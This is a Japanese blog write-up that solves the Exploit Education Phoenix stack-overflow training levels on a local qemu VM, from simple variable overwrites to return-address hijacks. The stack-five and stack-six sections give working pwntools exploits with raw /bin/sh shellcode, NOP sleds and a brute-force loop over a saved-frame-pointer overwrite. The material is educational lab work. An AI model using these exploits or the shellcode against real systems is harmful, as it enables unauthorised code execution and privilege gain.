眠いので寝ます

お勉強のメモを置いていこうと思いまふ

Exploit Education Phoenix-Stack編

きっかけはこの動画を見ていたところ、

youtu.be

例に使用していたプログラムが乗っているサイトがちらっと見えて、気になったのでアクセスすると、何やら面白そうなサイトだった 。(現在はリニューアルしていて動画で見たものとは若干異なる)

exploit.education

少し覗いてみると簡単なstack over flowから始まり、kernel exploit入門的なものもある。ググっても日本語のwriteupが見当たらなかったので、一応記事にして見る。

環境は一式ダウンロードできて、自分はqemuを使った。シェルスクリプトを走らせるだけだが、一応参考にしたサイトを載せる

http://www.iet.unipi.it/p.perazzo/teaching/cybsec/LAB.01.Phoenix_setup.pdf

今回はstack編を書いていこうと思う。
実行バイナリは64bitの物を使用した。qemu環境で/opt/phoenix/amd64下にある。
ソースコードはサイトにあるのでそちらを参照していただきたい。

* もくじ

Stack-Zero

bufferにgetsで文字を入力する。目標はメモリアドレス上でlocals.bufferの下に配置されている変数locals.changemeを書き換えること。
ソースを見る通りbufのサイズは64byteなので、64文字以上入力することでBOF(Buffer Over Flow)が起こったことが確認できる。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-zero 
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
hoge    
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x65' | /opt/phoenix/amd64/stack-zero 
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

Stack-One

main関数のargv[1]をlocals.bufferにstrcpyするようなコード。先ほどと同様locals.changemeを書き換えることが目標。
stack-zeroに加えてlocals.changemeを0x496c5962に上書きする必要がある。ここでこの環境にすでにpwntoolがインストールされていることに気がついたので利用する。pwntoolsを使わなくてもchangemeを上書きする値がascii印字可能文字のみなので64文字の後に"bYlI"を付け足してもできる。

#stack-one.py
from pwn import *

argv1 = "A"*64
argv1 += p32(0x496c5962)
p = process(['/opt/phoenix/amd64/stack-one', argv1])
p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one 
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one hogehuga
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000000, we want 0x496c5962

user@phoenix-amd64:~/workspace$ python stack-one.py 
[+] Starting local process '/opt/phoenix/amd64/stack-one': pid 343
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/stack-one' stopped with exit code 0 (pid 343)
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

Stack-Two

環境変数ExploitEducationをgetenv()して、その変数をlocals.bufferにstrcpy()する。目標は同様、locals.changemeを指定された値に上書きすること。locals.changemeを上書きしたい値が改行文字などを含んでいるため、これもpython環境変数を設定させる。

#stack-two.py
from pwn import *

env1 = "A"*64 + "\x0a\x09\x0a\x0d"
p = process(['/opt/phoenix/amd64/stack-two'], env={'ExploitEducation':env1})
p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
stack-two: please set the ExploitEducation environment variable

user@phoenix-amd64:~/workspace$ ExploitEducation=1 /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x00000000, we want 0x0d0a090a

user@phoenix-amd64:~/workspace$ python stack-two.py 
[+] Starting local process '/opt/phoenix/amd64/stack-two': pid 397
[*] Switching to interactive mode
[*] Process '/opt/phoenix/amd64/stack-two' stopped with exit code 0 (pid 397)
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[*] Got EOF while reading in interactive

Stack-Three

locals.bufferに直接gets()をする。gets()後メモリアドレス上でlocals.bufferの下にあるlocals.fpという関数ポインタの値にジャンプするのでfpをこれまたBOFで書き換える。ソースコードにはそれらしき関数complete_levelがあるので、fpをこの関数の先頭番地に書き換える。

user@phoenix-amd64:~/workspace$ objdump -d -M intel /opt/phoenix/amd64/stack-three |grep complete_level
000000000040069d <complete_level>:

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
hoge
function pointer remains unmodified :~( better luck next time!

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x64 . "\x9d\x06\x40" ' | /opt/phoenix/amd64/stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!

Stack-Four

start_level関数内でgets()が呼ばれている。目標はstart_level関数のreturn先のアドレスを書き換えること。stack-threeと似ているが、threeは明示されている変数の値を書き換えるのに対して、こちらはstackに積まれたreturnアドレスを書き換えるというもの。後者の方がよりCTFで出題されるように思える。
ここで見たことのない__builtin_return_address(0)が呼ばれている。直接は関係ないがどうのような関数なのだろうか、とりあえず実行する。

user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
hoge
and will be returning to 0x40068d

おそらく出力されている0x40068dはstart_level関数が終了した時のret_addrである。調べて見ると__builtin_return_addres()はその名の通りreturn addressを返してくれる関数のようだ。引数によっては、より下に積まれているreturn addressも調べることができる。(アーキテクチャ依存らしいが)

syohex.hatenablog.com

objdumpからもmain関数の中のstart_level関数の呼び出し後の番地が出力されているのがわかる。

$objdump -d -M intel /opt/phoenix/amd64/stack-four
...
...
000000000040061d <complete_level>:
  40061d:	55                   	push   rbp
  40061e:	48 89 e5             	mov    rbp,rsp
  400621:	bf f0 06 40 00       	mov    edi,0x4006f0
  400626:	e8 55 fe ff ff       	call   400480 <puts@plt>
  40062b:	bf 00 00 00 00       	mov    edi,0x0
  400630:	e8 5b fe ff ff       	call   400490 <exit@plt>

0000000000400635 <start_level>:
  400635:	55                   	push   rbp
  400636:	48 89 e5             	mov    rbp,rsp
  400639:	48 83 ec 50          	sub    rsp,0x50
  40063d:	48 8d 45 b0          	lea    rax,[rbp-0x50]
  400641:	48 89 c7             	mov    rdi,rax
  400644:	e8 27 fe ff ff       	call   400470 <gets@plt>
  400649:	48 8b 45 08          	mov    rax,QWORD PTR [rbp+0x8]
  40064d:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  400651:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
  400655:	48 89 c6             	mov    rsi,rax
  400658:	bf 33 07 40 00       	mov    edi,0x400733
  40065d:	b8 00 00 00 00       	mov    eax,0x0
  400662:	e8 f9 fd ff ff       	call   400460 <printf@plt>
  400667:	90                   	nop
  400668:	c9                   	leave  
  400669:	c3                   	ret    

000000000040066a <main>:
  40066a:	55                   	push   rbp
  40066b:	48 89 e5             	mov    rbp,rsp
  40066e:	48 83 ec 10          	sub    rsp,0x10
  400672:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
  400675:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
  400679:	bf 50 07 40 00       	mov    edi,0x400750
  40067e:	e8 fd fd ff ff       	call   400480 <puts@plt>
  400683:	b8 00 00 00 00       	mov    eax,0x0
  400688:	e8 a8 ff ff ff       	call   400635 <start_level>
  40068d:	b8 00 00 00 00       	mov    eax,0x0
  400692:	c9                   	leave  
  400693:	c3                   	ret    
  400694:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40069b:	00 00 00 
  40069e:	66 90                	xchg   ax,ax
...
...

bufのアドレスは ebp-0x50 からのようなので0x50+8文字分のpayload+complete_level関数のアドレスを入力する

user@phoenix-amd64:~/workspace$ perl -e 'print "A"x88 . "\x1d\x06\x40"' | /opt/phoenix/amd64/stack-four 
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

Stack-Five

Fiveは呼び出す目的の関数などがなくexecve("/bin/sh",...,...)を立ち上げることが目標のようだ。

脆弱性はgetsによるoverflow。方針はいくつか考えられるが、 用意されたqemuの環境だとデフォルトでASLRがオフであること、rpのようなガジェット検索ツールが未インストールであることから、今回はシェルコードをスタック上に置いて、スタック上のアドレスにripを飛ばす方針でやる。

CTFではASLRが有効なのが基本なので、32bitでbrute-forceをしない限りは、puts,getsは動的リンクされているので、libcのアドレスをリークしつつsystem("/bin/sh")をしたり、bss領域にシェルコードを書き込んで、そこに飛ばすのが良さそう。今回はパス。

と思ってexploitコードを書いたのだが、詰まる。

www.lucas-bader.com


自分は勘違いしていて、gdbで開いたバイナリはASLRがオフになっているのでstackのアドレスは変わらないと思っていたのだが、gdbで開くと複数の環境変数が追加で定義されて実行されるので、スタックのアドレスがずれるようだ。

reverseengineering.stackexchange.com

上の記事にあるような環境変数を出力するようなコード書いて、gdb上で動かすと、gdbでないときに比べて環境変数が色々追加されているのがわかる。

そこでどのくらいずれるのかを調べるためにコードを足して実行してみる。

#include <stdio.h>
int main(int argc, char **argv, char** envp)
{
	char** env;
	char* hello = "hello";
	for (env = envp; *env != 0; env++)
	{
		char* thisEnv = *env;
		printf("%s\n", thisEnv);	
	}
	printf("%s, addr: %p\n", hello, &hello);
}

これをコンパイル、実行してみると、gdbを通さない時の方がスタックのアドレスが0x60大きくなっている。
これをもとに、gdbで得たbufの先頭から0x60足した値に加えて、少しずれてもごまかせるように シェルコードにnopスレッドを追加した。

#stack-five.py
from pwn import *

p = process(['/opt/phoenix/amd64/stack-five'])

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
gdb_diff = 0x60
buf_ongdb = 0x7fffffffe5c0
buf_addr = buf_ongdb + gdb_diff 

nop_off = 0x30
bufsize = 0x80 + 0x8

payload = ""
payload += "\x90"*nop_off
payload += shellcode
payload += "\x90"*(bufsize - nop_off - len(shellcode))
payload += p64(buf_addr)

p.recvline()
p.sendline(payload)

p.interactive()

ちなみにnopスレッドの数が0x2f~0x53だとシェルコードが動いた。スレッドに下限があるのは分かるが(ripがシェルコードの途中に飛んではいけないため)上限があるのはよくわからない。nopスレッドは連続していくつまでなんて上限は聞いたことがないが、、

シェルコードはshellstromに上がっているものを使用した。
shell-storm.org

user@phoenix-amd64:~/workspace$ python stack-five.py 
[+] Starting local process '/opt/phoenix/amd64/stack-five': pid 20531
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)

ASLRが無効なら下調べしなくてもbruteforceでも良さそう。ASLRが無効なことはそうそうないが、実際数bitのbruteforceが必要となる問題も最近少なくない。

Stack-Six

stack編最後の問題。ここまでは解法はすぐ思いつくような問題ばかりだったが、この問題は少し解法を思いつくのに時間がかかった。
コードをみるとgreet関数の中のbufferのoverflowができそうである、bufferがどこから始まるか調べてみると[rbp-0xa0]から始まることがわかった。amd64環境だと、whatに格納されるGREETは34文字の文字列で、strncpyでコピーできるmaxの文字列は127文字。これを足しても161(0xa1)文字なのでreturnアドレスを書き換えることができなさそうである。ただstackに積んであるmain関数のrbpの下位1byteのみ書き換えることができる。
これを利用してどうにかできないか考えると、main関数ではgreet関数後はputsした後、leave retが続く。ここでうまくmainのrbpをいじってやればleaveでrspを飛ばしてかつ、retでripを取ることができそうである。そしてripをshellcodeがあるアドレスにすれば良さそうだ。

利用できそうな箇所を探すと、main関数のstackフレームにはptrという変数がrbp-0x8に格納されている。ptrにはgetenv("ExploitEducation")のreturnが入っているので、ExploitEducationという環境変数にshellcodeを仕込んでptrをretすればうまくshellcodeが実行されそうである。つまりgreet関数に跳ぶ際にpushしたmainのrbpの下位1byteを変えてmainのrbp-0x10に書き換えてしまえば、greet関数から帰ってきたあと、leave,retでptrの値がripにpopされる。

イメージ

(gdb) set env ExploitEducation=AAAABBBB
(gdb) b greet
(gdb) run
...

(gdb) x/30gx $rsp
0x7fffffffe560:	0x00007ffff7ffc948	0x0000000000000049
0x7fffffffe570:	0x00007fffffffe5ef	0x0000000000000001
0x7fffffffe580:	0x0000000000000049	0x00007ffff7ffb300
0x7fffffffe590:	0x0000000000000000	0x0000000000400878
0x7fffffffe5a0:	0x000000000040079b	0x0000000000000000
0x7fffffffe5b0:	0x0000000000000000	0x00007ffff7db6dde
0x7fffffffe5c0:	0x000000000040079b	0x026402d0005a0024
0x7fffffffe5d0:	0x0000000000000000	0x00007ffff7db6b1e
0x7fffffffe5e0:	0x00007ffff7ffb300	0x0a00000000000000
0x7fffffffe5f0:	0x00007fffffffe698	0x00007ffff7d8fe8f
0x7fffffffe600:	0x00007fffffffe698	0x00007fffffffe698
0x7fffffffe610:	0x00007fffffffe640	0x00000000004007e9
------------------------------------------------------------- ↑greet()のフレーム 
------------------------------------------------------------- ↓main()のフレーム
0x7fffffffe620:	0x00007fffffffe698	0x00000001ffffe6a8
0x7fffffffe630:	0x000000000040079b	0x00007fffffffef87
0x7fffffffe640:	0x0000000000000001	0x00007ffff7d8fd62

(gdb) x/s 0x7fffffffef87
0x7fffffffef87:	"AAAABBBB"

gdbで見てみるとこんな感じ。mainのrbpは0x7fffffffe640でrbp-0x8の中身は環境変数ExploitEducationのアドレスになってることも確認できる。先ほども述べたが、書き換えられるのは上のマップだと0x7fffffffe610の下位1byteのみなのでこれを0x30にしてあげればmainがrbp-0x8のアドレスにretする。

stack-fiveの通りgdb有り無しではスタックのアドレスがずれるので、exploitコードでは0から8byteずつ足してbruteforceを仕掛けた。

#stack-six.py
from pwn import *

#x64 shellcode 
shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

bufsize = 127
nopsled = 0x20
for i in range(0x0, 0xff, 8):
    payload = ""
    payload += "\x90"*nopsled
    payload += shellcode
    payload += "\x90"*(bufsize - nopsled - len(shellcode) - 1 )
    payload += chr(i)  # <- d648
    p = process(['/opt/phoenix/amd64/stack-six'], env={'ExploitEducation':payload})
    try:
        p.sendline("ls")
        print p.recvline()
    except:
        continue
    print hex(i)
    p.interactive()

qemu環境だと0x50の時にshellcodeが実行されている。ちなみにnopsledを入れているが必要ない。

まとめ

zero~fiveまではいわゆる自明なものでsixは気づくことができるかどうかって感じだった。難易度は高くはないが、入門には悪くないかと思う。
stack編はここまでで、次回
はFormat編をやろうと思う。
こういう問題集的なのを見ると端から埋めたくなってしまう性なので、本当は早くPhoenix(binary exploitの章)ではなくNebula(kernel exploitの章)をやりたいが、まあ復習にはいいや。

何か質問、ご指摘等あれば@kam1tsur3まで